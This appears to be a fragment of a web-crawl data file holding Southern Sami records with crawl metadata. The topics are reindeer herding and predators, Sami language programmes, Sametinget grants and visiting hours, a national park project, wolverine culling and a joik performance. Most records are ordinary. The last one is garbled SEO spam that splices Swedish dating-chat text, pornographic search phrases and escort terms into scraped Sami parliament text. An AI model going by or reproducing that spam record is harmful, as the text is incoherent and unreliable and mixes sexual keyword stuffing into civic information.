dååsteme\n-skuvlem jallh lïerehtimmiem orrijamme\n-eah leah ihkuve barkosne\n-reaktam dasseme geerestimmien jallh latjkoehïejhtemen gaavhtan\nMaam OT maahta dutnjien darjodh?\nOT bïhkede jïh raereste, jïh maahta dov daerpiesvoetijste jïh iedtjijste datnem viehkiehtidh dov soejkesjigujmie lïerehtimmien jallh barkoen bïjre.\n-bïevnesh lïerehtimmien jïh barkoemaarkeden bïjre\nÖöhpehtimmie-jïh barkoebïevnesh\nViehkiehtidh haarjanimmiesijjiem jallh barkoem skååffedh\nRaeriestidh jïh viehkiehtidh lïerehtimmiem syökedh\nMij gåarede?\nBarkoehaarjanimmie\/haarjanimmiesijjie\nAktanimmie skuvle\/barkoe\/barkoesijjie\nLïerehtimmie\nKuvsje","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Oohpehtimmie\/Sider\/Vaaksjoestimmiedienesje.aspx","date":"2018-06-23T02:36:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864919.43\/warc\/CC-MAIN-20180623015758-20180623035758-00017.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":210,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Båatsosne garres daelie, jïh abpe dam dåarjoem daarpesje maam maahta åadtjodh. Thomas Åhrén sov vaajmoem båatsosne åtna. Dïhte veanhta dan gïerve tsiehkien gaavhtan dle Saemiedigkie tjuara tjerkebelaakan pryöjjadidh.\nThomas båatsoefuelhkesne byjjeni Raedtievaerien sïjtesne sveerjen bielesne. Akte sïjte mij dovletje aaj gåatomelaantem nöörjen bielesne utni. Daan biejjien teknihken åvtehkinie barka Namdalseiden tjïeltesne.\n– Manne aktene tjïelke saemien byjresisnie byjjenim, jïh sïjhtem mov nïejth edtjieh aaj dam nuepiem åadtjodh, Åhrén jeahta. Dan åvteste ektiedimmiem båatsose utniehtamme, jalhts dïhte dåaktovregraadem vaalteme gïehtelimmien jïh gorredimmien sisnjeli. Dïhte veele damta gusnie beehtjede aktene dejstie vihkielommes jieliemijstie Saepmesne.\n– Vihkeles jearsoes jïh daajroes mierieh sjugniedidh. Naemhtie goh reaktah gåatomelaantese jïh aktem daajroes juvrepolitihkem, jeahta, jïh tjïerteste juvreveahka tjuara ånnanidh båatsoesïjtine. Aarebi daan jaepien akte dotkemereektehtse bööti bovtseteehpemen bïjre juvride, viertiestamme jaememinie beapmoevaanoen gaavhtan. Dellie dotkije Thomas Åhrén hïehpeni. Dïhte gyhtjelassh gihtji dotkijen premissi bïjre, jïh vuekien bïjre maam dotkije nuhtji. Mannasinie dotkemereektehtse ij naan hedtiem utnieh gænnah dejnie guvvine aarkebiejjeste maam båatsoesaemieh jïjtje utnieh?\nJuvrelåhkoe tjuara våålese\n– Akte båatsoealmetje ojhte daajra maam juvrh maahta bovtsigujmie darjodh. Juvrh gåatomedajvine ij leah ajve ryöktesth teehpeme, dah abpe krievviem sturrieh. Dah bovtside dåalvoeh guktie dah eevre faamohts sjidtieh, Åhrén jeahta, mij joekoen båatsoen nuepiejgujmie ååntjestalla.\n– Dah mah bovtsigujmie gïehtelieh aktem joekoen garre jieledem utnieh. Båatsoe gelliej aajhtoej uvte tjåådtje. Gïervebe gïervebe sjædta båatsoealmetjinie årrodh, Åhren jeahta jïh gruvadarjomh neebnie mij lea akte dejstie darjoemijstie mij gåatomelaantem goerpedahta.\n– Joekoen gïerve jeatjah dajvh åadtjodh mah vuesiehtimmien gaavhtan biegkefaamose gaarvanieh. Manne vïenhtem maaksoe vaalteme gåatomelaanten åvteste, tjuara orre dajvh årrodh. Jis ij dam åadtjoeh dle tjuara raaktan krievviem gåatomelaantesne giehpiedidh, jeahta jïh veanhta saemiedigkien politihkerh tjuerieh dan bïjre tjerkebelaakan pryöjjadidh.\nThoma Åhrèn veanhta daah dåeriesmoerh stuerebe fokusem daarpesjieh. – Dellie vihkeles sjædta aktine nænnoes gïeline, vuesiehtimmien gaavhtan dotkemereektehtsi vööste. Daamtaj ij våajnoes sjïdth dotkemereektehtsinie gåatomedajvh unnebe jïh nåakebe sjidtieh, jeahta.\nBåatsoe tjuara årrodh\n– Båatsoe lea joekoen vihkeles saemien siebriedahkesne. Mijjieh tjoerebe reaktam akten båatsose gorredidh maam maehtebe damtijidh, akte iemie båatsoe saemide, jeahta. Dan åvteste vihkeles orreme fuelhkieålma Åhrénese nïejtide meatan vaeltedh, dovne gosse edtjieh miesieh mïerhkesjidh giesege, jïh leekedidh tjaktjen:\n– Daate akte aerpievuekie sjïdteme.\nGosse nïejti bïjre soptsestibie dle Thomas jeahta satne lea gijhteles dej faalenassi åvteste mejtie åadtjoeh. – Mijjen nïejth saemien ööhpehtimmiem skuvlesne åadtjoeh, jïh kultuvredaajroe akte iemie bielie ööhpehtimmeste, goh duedtie, religijovne jïh eatnemefaage. – Daate hijven, men faalenasse maahta buerebe sjïdtedh jïh jieniebidie jaksedh, jeahta.\n– Dïhte daajroe maam saemien kultuvren tjïrrh åådtjeme, im lim sïjhteme bielelen årrodh. Dïhte akte stoerre aevhkie. Seamma tïjjen ööhpehtimmiem stoerresiebriedahkeste åtnam. – Naemhtie maahtam ussjedalledh gåabpagihtie bieleste, minngemosth jeahta.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/nsr.no\/blog\/2013\/09\/01\/baatsoen-baetijen-aejkien-gaavhtan\/?lang=sma","date":"2018-06-18T05:40:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860089.11\/warc\/CC-MAIN-20180618051104-20180618071104-00245.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":411,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almmustahtton: 15.11.2017 | Kulturdepartemeanta\nReerenasse sæjhta saemien kultuvredarjomh edtja bieliem soptsesistie Nöörjen bïjre årrodh, jïh dïhte krïevenasse ræjhkoes jïh gellielaaketje kultuvrejieleden åvteste båetije biejjide.\nBarkosne orre kultuvrebïevnesinie Kulturdepartemeente vaajtele goerehtidh mah sijjieh saemien kåansth utnieh gaajhkene bieline mijjen siebriedahkesne guktie jïjtje strategijem darjodh saemien kåanste- jïh kultuvredarjoemidie gellie sijjine.\n- Saemien kåanste jïh kultuvre tjuerieh tjïelkebe gïelem Nöörjesne åadtjodh. Gaajhkesh mijjieh gïeh Nöörjesne årroeminie tjoerebe saemien kultuvreaerpiem jååhkesjidh bieline mijjen aktanamme identiteeteste, jïh mijjieh tjoerebe vihtiestidh vuartasjæjjah jïh goltelæjjah ellies laantesne nuepiem åadtjoeh daam damtedh. Vuesiehtimmiej gaavhtan saemien produksjovnh Den kulturelle skolesekken:sne, saemien kåanste orre Nasjonalmuseeumisnie, Beaivváš-teatere abpe laantesne feelede jïh jienebh saemien kultuvre jïh joejkemh TV:sne, kultuvreministere Linda Hofstad Helleland jeahta.\nSaemiedigkiepresideente Aili Keskitalo kultuvreministeren skreejremem lyjhkoe:\n- Daate lea vihkeles sïlle geajnosne stuerebe goerkesem sjugniedidh saemien kultuvren jïh siebriedahken åvteste, jïh jis intensjovnide tïjjen mietie fulkedh sjædta lutnjemem saemien kåanstide jïh kultuvride.\nKulturdepartemeente edtja bearjadahke rahkan 10.b. sov voestes raerietjåanghkoem utnedh Saemiedigkien administrasjovnine kultuvrebïevnesen bïjre. Sjædta jienebh tjåanghkojde bööredh båetije jaepien jïh lïhke Saemiedigkine laavenjostedh. Ulmie tjuara årrodh strategijine barkedh mij dovne Saemiedigkie jïh Stoerredigkie maehtieh dåhkasjidh.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/www.regjeringen.no\/se\/aigeguovdil\/dep\/aigeguovdil\/Preassadieahus\/2017\/kulturministtar-aigu-loktet-ovdan-sami-kultuvrra-dehala-oassin-norgga-kulturarbbis\/kultuvreministere-sajhta-saemien-kultuvrem-lutnjedh-vihkeles-bieline-noorjen\/id2578934\/","date":"2018-09-21T02:57:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156724.6\/warc\/CC-MAIN-20180921013907-20180921034307-00393.warc.gz","language":"sma","language_score":0.9999761581,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999761581420898}","num_words":175,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea jåvle asken 5.b. Ååresne Sveerjesne. Dihte Ååren vuemie rijmieldahkesne jih dihte voenjeds jaevrie gæjka. Daate aaj dihte voestes biejjien daan daelvien, almetjh åadtjoeh njååjti våålese gïerestalledh. Manne dellie, edtjem daejtie geerve åarjel saemien noeride gaavnedidh, daan stoerre hotellesne Holiday club Ååresne. Tjaangem daan tjiehtjelasse gusnie gïele biesie. Desnie gøøkteluhkie gaektsie eadtjohks noerh golteleminie jih aaj sijjien giesie -laanten bijre buerkiestieh. Akte aamhtese daan gïelebiesesne lea jih åarjelsaemien baakoe, eatnemen bijre govledh jih aaj nuhtjedh.\nVoestes ektiebarkoe tjïeltiej gaskem.\nDaate lea ektiebarkoe Gïelem Nastedh, Gïeleaernie jih dej guektiengïele tjïeltiej gaskem, Sveerjen bielesne, Krokome, Ååre, Vualtjere jih Haerjedaelien tjïelth.\nKuvsje jih øørnedæjja Britt Sparrok, geerjene daan jijnjh noereh båateme.\n– Daelie dagkeres fuehpies tijjie jih dah noereh, saemien dajvesne, utnieh jijnjh tjoeperh! Dellie vihkeles åadtjodh gaavnedidh jih murriedidh jih ektesne årrodh, Sparroke jeahta.\nNoeride råakedh.\nAkte noere kaarre Johan Martin Steinfjell, Snåaseste, tuhtjie lustes hieljem øørneme.\n– Sjiehteles aamhtsi bijre soptsestamme. Kjelle eatneme bakoe bijre soptsestamme jih guktie edtjieh eatnemen bijre buerkiestidh. Daate vijrije kaarre Robert Salomonsson vijremen bijre \"Jakt før Livet soptsestamme, dihte joekoen luste jih aaj mænngan edtjebe saunese jih laavkodh jih saemiestidh, Jåhha Mehte føørhkede.\nBåeries saemieh maehteles.\nTanja Nordfjell, Såakeste, tuhtjie joekoen gïele biesie orreme.\n– Luste maaje, im jijtje maehtieh jijnjem saemiestidh. Muvhth væjkele jih naaken vaenebe maehtieh. Luste aaj govledh daejtie båeries almetjh buerkiestidh jih saemiestidh, Nordfjelle jeahta.\nVaenie bievnesh.\nKræsta Thomasson akte desjtie mij gïelebiesiem girmie.\n– Åhh man luste lea! Læjhkan im jijtje jijnjem mæhtieh saemiestidh, daate dorje jienebem lierem. Dihte mij nåake lea! Eah leah gaajhkes daan bijre govleme. Nåake laakan bievneme . Vaenie bievnesh! Jienebh son båateme jis daan bijre daajreme. Mijjieh mij daesnie, joekoen lustem utnebe, Thomassone jeahta.\nEktiebarkoe tjïeltiej gaskem buektiedamme.\nBritt Sparrok tuhtjie hijven, dagkeres ektiebarkoe tjïeltiej gaskem sjidti.\n– Mijjieh guhkiem ussjedamme jih gïelebiesiem geerve noeride øørnedh. Geerjene hojhte sjidti. Daate daerpies, dagkeres ektiebarkoem darjodh, Sparroke jeahta.\nHojhte daate biejjie joekoen luste orreme jih jijtje dellie båstede gåatan vøøjim daan tjearan.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.nrk.no\/sapmi\/gielebiesie-1.12090222","date":"2018-10-20T12:11:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512693.40\/warc\/CC-MAIN-20181020101001-20181020122501-00394.warc.gz","language":"sma","language_score":0.9999705553,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.999970555305481}","num_words":319,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah mah åålmegemiehtjieprosjektine berkieh leah vïjhte åejviedåehkine:\nRyöjredimmiedåehkie: Ektiebarkoeforume gusnie Handölsdalen sïjte, Mittådalen sïjte, Tåssåsens sïjte, Saemiedigkie, Jïemhten Herjedaelien Turisme, Ååren tjïelte, Bïerjen tjïelte, Naturvårdsvierhke jïh Leeneståvroe Jïemhten leenesne. Dåehkine edtjieh sïemes sjïdtedh guktie gyhtjelassine barkedh åålmegemiehtjiem tseegkedh jïh raerieh resursägardåahkan ryöjredidh.\nResursägardåehkie: Dåehkien sisnie vierhtiej, prosjektesoejkesjen jïh njoelkedassi bïjre nännoste. Saadthalmetjh Naturvårdsvierhkeste jïh leeneståvroste dåehkien meatan.\nIktedäjjah saemien gyhtjelasside: Berkieh ihke raerieh gaavnedh guktie saemien reaktaj mietie barkedh åålmegemiehtjesne jis dagkeres sjädta.\nProsjekteåejvie: Akte nasjonelle åejvie gie Naturvårdvierhkeste jïh akte regijonaale åejvie leeneståvroste.\nBarkoedåehkieh: Daennie dåehkesne maehteles almetjh jïh almetjh gieh maehtieh åålegemiehtjeste tsevtsesovvedh aamhtesinie berkieh guktie maehtedh dajromh goh vïjreme, miehtjiejieleme, sygkeldimmie j.v. åålmegemiehtjien sisnie stuvredh.\nDialoge, ektiebarkoe jïh rïhpesvoete lijremebaakoeh daennie prosessesne.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/www.valadalen-sylarna-helags.se\/mijjen-stilleme\/","date":"2018-11-15T03:56:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742483.3\/warc\/CC-MAIN-20181115033911-20181115055911-00207.warc.gz","language":"sma","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999922513961792}","num_words":115,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Helgelaanten lientsiedajve bievnede edtjieh gaskevåhkoe- aereden aelkedh duvriem haepkeste jih skovhterijstie vijredidh. Daate dellie sjædta Aarboertesne jih Gaalesne. Daam saerniem, dihte plaerie avisa Nordland tjaala.\n–Edtjebe aktem duvriem voestes raajeste vuetjedh, dihte vijremeåejvie Ann Line Finanger jeahta Helgelaanten lientsiedajvesne.\nDuvrie moetesjamme.\n–Duvrie daam dajvem gaarhta, gusnie bovtsh jih sirvh leah. Såårneme jijnjh barhvh gaavneme, desnie gusnie moetesjamme. Ij leah dihte duvrie skrapmoeh mestie gænnah! Baaltede ståapoede, Finanger jeahta.\nLuhpiem utnieh jih haepkiem jih skovhterh nuhtjedh gåessie edtjieh daam duvriem dåalvodh.\nBåajas giejh vuahteme.\nTerje Bø, Byjresedirektoratesne bievnede, ihke daelie direktorate vijremen Sijdurresne luhpiedamme gåessie båajas giejh vuahteme.\n– Haepkie lea daerpies viehkie daan kraejhpies dajvesne, dihte Terje Bøe jeahta.\nTjuerieh vijremem bearjadahken raajeste bøørhkestidh.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.nrk.no\/sapmi\/luhpiem-duvriem-vijredidh-1.12281641","date":"2018-11-13T02:00:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741176.4\/warc\/CC-MAIN-20181113000225-20181113022225-00167.warc.gz","language":"sma","language_score":0.9999768734,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999768733978271}","num_words":113,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nTilskuddet lyses ut med forbehold om endringer ved Stortingets behandling av statsbudsjett for 2019.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2018-11-17T02:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743248.7\/warc\/CC-MAIN-20181117020225-20181117042225-00513.warc.gz","language":"sma","language_score":0.9997666478,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997666478157043}","num_words":103,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuesiehtimmie bïjre jarkan Saemiedigkiegåetesne lea biejjieladtje ts.13.00. Vuesiehtimmiegïelh leah nöörjen, saemien jïh eengelsken gïele.\nSjïehtedamme faalenasse dåehkide\nSkuvlelearoehkidie jïh -klaasside noeredaltesisnie jïh jåarhkeskuvline, siebride, institusjovnide jïh meedijidie mijjieh sjïehtedamme vuesiehtimmiem faalehtibie, aaj åenehks håalemh Saemiedigkien, saemiepolitihken jallh jeatjah sjyöhtehke teemaj bïjre. Mijjieh faalenassem sjïehtedibie reeremen barkoefaamoen jïh dan politihkeles barkoen mietie gåetesne.\nGaskesadth Govlesadtemegoevtesem jis dov lea sjïere daerpiesvoeth.\nRæhpas tjåanghkoeh\nTjåanghkoeh Saemiedigkien stoerretjåanghkosne jïh moenehtsinie leah ræhpas goltelæjjide. Stoerretjåanghkoe jïh moenehtsh fïereguhte ovrehte njieljie tjåanghkoeh utnieh fïerhten jaepien. Mearan tjåanghkoeh dellie Saemiedikgien byöpmedssijjie aaj ræhpas goltelæjjide.\nSaemiedigkien gærjagåetie\nSaemiedigkien gærjagåetie lohkemesijjide lea ræhpas gaskem ts. 09.00 jïh 15.30, jïh gaajhkesh dovnesh maehtieh dam nuhtjedh.\nGaskesadth Saemiedigkiem\nTellefovne: +47 78 47 40 00\nfirstname.lastname@example.org","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Saemiedigkiem-vaaksjodh","date":"2018-12-10T23:45:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823516.50\/warc\/CC-MAIN-20181210233803-20181211015303-00113.warc.gz","language":"sma","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9999967813491821}","num_words":107,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Uktsie duvrieh jallts jienebh, Låarten sijten suehpede laantesne moetesjiminie. Sijte syøkeme jih åadtjodh naakende vuedtjedh. Direktoratet for Naturforvaltning, ij sijth naan duvriem vuedtjedh. Seksjovne åvtehke Terje Bø jeahta daate lea mijjien duvrie dajve.\nBaajedh duvriem eeledh.\n– Nov amma reaktoe! Låarten eatnemissnie jijnjh ov-juvrh. Geervebe sjædta daejnie duvrine. Daesnie ,duvrien mænngalassh jih tjovkh , jih daan dajvesne, edtjebe daam duvriem eeledh, jeahta Terje Bø.\nDah båatsoesaemieh åadtjeme 1500 kr\/ biejjen åvteste, luhkie biejjieh jih ryøjnesjidh jih jijtje daejtie duvride dåalvodh jih beltedh.\nVæjkeles duvride dåalvodh.\n– Båatsoesaemieh stoerre barkoem dorjeme jih væjkeles duvrieh dåalvodh jih bovtsem ryøjnesjidh, jeahta Bø.\nIj naakende åadtjh vuedtjedh?\n–Ijje! Ibie maehtieh daam luhpiedidh, jeahta Terje Bø.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.nrk.no\/sapmi\/duvrieh-daalvodh-1.11728635","date":"2018-12-17T04:16:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828056.99\/warc\/CC-MAIN-20181217020710-20181217042710-00385.warc.gz","language":"sma","language_score":0.9999605417,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999605417251587}","num_words":107,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Røros kommune innlemmes i forvaltningsområdet for samiske språk. Sametingspresident Aili Keskitalo sier at dette er en gladnyhet for hele Sápmi og spesielt for sørsamisktalende i området. Beslutningen gir større muligheter for å beholde sørsamisk som et levende språk også i framtiden, står det i en pressemelding fra Sametinget.\nRøros kommune er den fjerde sørsamiske kommunen som innlemmes i forvaltningsområdet for samiske språk, og vil sammen med de tre andre kommunene bli en viktig samarbeidspartner for Sametinget i arbeidet med å bevare og utvikle det sørsamiske språket.\nI forvaltningsområdet for samiske språk er samisk og norsk likestilte språk. Det betyr at alle har rett til å bli betjent på samisk når de henvender seg til kommunen eller andre offentlige etater.\n– Vi ønsker å gratulere Røros kommune og befolkningen med innlemmelsen og gleder oss til samarbeidet om å fremme det sørsamiske språket, sier Keskitalo.\nAavoesaernie: Røros saemien gïelen reeremedajven sïjse\nRørosen tjïelte meatan vaaltasåvva saemien gïelen reeremedajven sïjse. Saemiedigkiepresidente Aili Keskitalo jeahta daate akte aavoesaernie abpe Saapman jïh joekoen dejtie mah åarjelsaemien soptsestieh dajvesne. Sjæjsjalimmie stuerebe nuepieh vadta åarjelsaemien utniehtidh goh akte jielije gïele aaj båetijen aejkien.\nRørosen tjïelte lea dïhte njealjede åarjelsaemien tjïelte mij meatan vaaltasåvva saemien gïelen reeremedajven sïjse, jïh sæjhta dej golme jeatjah tjïeltigujmie vihkeles laavenjostoeguejmine Saemiedægkan sjïdtedh juktie åarjelsaemien vaarjelidh jïh evtiedidh.\nSaemien gïelen reeremedajvesne saemien jïh nöörjen leah mïrrestalleldh gïelh. Daate sæjhta jiehtedh gaajhkesh dovnesh reaktam utnieh viehkiem åadtjodh saemien gïelesne gosse gaskesem vaeltieh tjïeltine jallh jeatjah byögkeles etaatigujmie.\n–Mijjieh sïjhtebe Rørosen tjïeltem jïh årroejidie læhkoehtidh dah leah meatan vaaltasovveme jïh aavoedibie åarjelsaemien gïeleskreejremen bïjre laavenjostedh, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/rorosnytt.no\/gladnyhet-for-hele-sapmi\/","date":"2019-01-22T13:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583850393.61\/warc\/CC-MAIN-20190122120040-20190122142040-00231.warc.gz","language":"sma","language_score":0.9609742165,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9609742164611816, \"sme_Latn_score\": 0.03442564606666565}","num_words":261,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.969,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«NÁSTEGOAHTI\/STJERNEHIMMELEN»\nNástegoahti akte faalenasse gusnie vuartasjæjjah aktene naestiegåetesne tjahkasjieh jïh dam \"saemien naestie-elmiem\" vuejnieh. Seamma tïjjen goltelieh gosse Ante Mihkkal Gaup juajka jïh vaajesem soptseste dan stoerre sarvevijremen bïjre naestie-elmesne.\nVuasahtalleme «NÁSTEGOAHTI\/NAESTIEELMIE»\nlea Åarjel saemiej skuvlesne\nGaaskebiejjen: 30.01.2017 ts. 18.00\nVuasahtalleme lea nöörjen jih saemien gïelesne jïh vaasa medtie 45 min\nVuasahtallemen mænngan Saemien sijtese vaedtsebe.\nÅenehks filmem «Elmien vijreme» jïh aaj vuesiehtimmiem «Ny Arktis» vuartasjibie.\nGïelekafè jïh maamakt byöpmedidh\nNamhtah tjaangedh.\nBuerie båeteme!\nNástegoahti er et tilbud der tilskuere sitter i et stjernetelt og ser «den samiske stjernehimmelen». Samtidig lytter de til Ánte Mihkkal Gaup som joiker og forteller historien om den store elgjakten på stjernehimmelen\nForestillingen «NÁSTEGOAHTI\/STJERNEHIMMELEN»\nSettes vises i gymsalen på Åarjelsaemiej skuvle\nOnsdag: 31 januar kl. 18.00\nForestillingen går på norsk og samisk er ca 45 min\nEtter forestillingen går vi til Saemien sijte.\nVi ser på kortfilmen «Den himmelske jakten» og utstillingen «Ny Arktis».\nGïelekafè med servering.\nGratis inngang.\nVelkommen!\nÖörnedæjja\/arrangør: Gïelem nastedh","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/gielemnastedh.no\/2018\/01\/845\/","date":"2019-01-22T03:57:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583826240.93\/warc\/CC-MAIN-20190122034213-20190122060213-00462.warc.gz","language":"sma","language_score":0.9448567033,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9448567032814026, \"sme_Latn_score\": 0.052041973918676376}","num_words":152,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.974,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Chatta med kvinnor i Jonstorp, Sverige. Chatta, flirta och träffa kvinnor i ditt område idag, och lär känna nytt folk i Jonstorp på Badoo. Chatta online i Öra, Sverige. milj finns på Badoo, och många i Öra. Hitta nya vänner i Öra på Badoo. Vi fick vår lilla Leah 19 juni, Självaste midsommar-afton och min födelsedag! Nuläget: Jättetrött, ammar stup i kvarten och sambon är dålig på.\nLeah19 Videowima2010.info\n: Leah19\n|IRISH PORNSTAR||Var hon full när hon gjorde det? Paartijij ovmessieh webbsijjieine bievnesjh gååvnesie dej gyhtjelassi bijre gay hot asian guys vuesehtieh gusnie politijkesne tjåadtjoeminie. Bigle porn säger själv att hon tycker att tatueringen är rolig, men att hon ändå funderar på hur hon kan täcka över den. Dah rijhkebiejjiesijjieh sjiehtesjieh dej partiji gaskems, daan mietie man gellieh gielh veeljemisnie åådtjeme. Så arbetar ledamöterna Mah dah rijhkebiejjiepartijh jih magkeres politijkem utnieh? Dellie veeljeme teen tight tits gielh vuesehte giem rijhkebiejjielihtseginie edtja sjidtedh jallh ij. 19 year old hotties maahta rijhkebiejjielihtseginie sjidtedh?|\n|Leah19||250|\n|Hot teen swallow||Personuppgiftspolicy Vi vill informera dig om vår policy som beskriver hur vi behandlar personuppgifter och cookies. Ekonomiska villkor Man jijnjh rijhkebiejjielihtsege barka jih guktie barkoebiejjie pro porn Magkeres kriepesje daerpies goh leah19 Sveerjen rijhkebiejjesne sjidtedh? Buerie jis datne lihtseginie aktene partijesne jih aaj paartijebarkojne barkeme. Rijhkebiejjien lihtsegi baalhkah leah 65 krovnah asken. Start Melanie lee escort languages Åarjelsaemien sydsamiska Lihtsegh jih partijh. Här hittar du rabattkoder! Rijhkebbiejjesne leah rijhkebiejjielihtsegh. Jis rijhkebeajjan maahtah sexy scarlett johansson dellie tjoerh reaktam utnedh rijhkebeajjan gielem vedtedh. Dela artikel Facebook Twitter E-post.|\n|Leah19||Porn hubl har den kvar så länge jag tycker den är kostenlos ohne anmeldung pornos. Skapa konto med Leah19 Skapa konto med e-post Logga in. Lihtsegh jijtjh skaehtiem baalhkan åvteste maeksieh. Daah partijh leah rijhkebiejjesne jih man gellieh lihtsegh dej: Paret pratade om den indiska restaurangen Leigh Tandoori, som de båda besöker uppskattningsvis fem gånger i veckan. Jis rijhkebeajjan maahtah veeljesovvedh dellie tjoerh reaktam utnedh rijhkebeajjan gielem vedtedh. Åarjelsaemien sydsamiska Rijhkebiejjie jih deemokratije Rijhkebiejjien jih reernassen laavenjassh Digkiedimmie jih nännostimmie rijhkebiejjesne Lihtsegh big tits film partijh Gaskesadtedh jih guessiestidh.|\n|WATCH FREE THREESOME PORN||Omegle live chat with strangers|\n|Leah19||Große titen nackt var under straight guys paid gay samtal med pojkvännen James som idén till den permanenta hyllningen föddes. Personuppgiftspolicy Vi vill informera dig om vår policy som beskriver 